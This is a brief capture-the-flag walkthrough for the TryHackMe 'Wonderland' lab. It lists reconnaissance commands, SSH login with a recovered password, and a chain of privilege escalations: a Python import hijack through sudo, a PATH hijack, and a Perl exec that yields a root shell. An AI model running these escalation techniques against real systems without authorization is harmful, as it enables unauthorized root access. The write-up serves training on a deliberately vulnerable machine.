



Wonderland TryHackMe – CTF Writeup

1 Nmap Scan – Find Open Ports

```
nmap -sC -sV <IP>
```

→ Open: **22 (SSH)**, **80 (HTTP)**

2 Directory Bruteforce – Find Hidden Paths

```
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt
```

→ Found: `/img`, `/r`

Check `/img/white_rabbit_1.jpg`:

```
strings white_rabbit_1.jpg
```

→ Hidden text: **"follow the r a b b i t"**

Dig into `/r/a/b/b/i/t` and check source → get **Alice's password**

3 SSH as Alice

```
ssh alice@<IP>  
cat user.txt
```

→ User flag

4 Alice → Rabbit (Python Sudo Hijack)

Check sudo permissions:

```
sudo -l
```

→ Can run `script.py` as rabbit.

Hijack import:

```
echo 'import os; os.system("/bin/bash")' > /home/alice/random.py
sudo python3 /home/alice/script.py
whoami # rabbit
```

5 Rabbit → Hatter (Path Hijack)

```
echo "/bin/bash" > /tmp/date
chmod +x /tmp/date
export PATH=/tmp:$PATH
./teaParty
whoami # hatter
```

6 Hatter → Root (Perl SUID)

```
perl -e 'exec "/bin/sh";'
whoami # root
cd /root
cat root.txt
```

→ **Root flag** 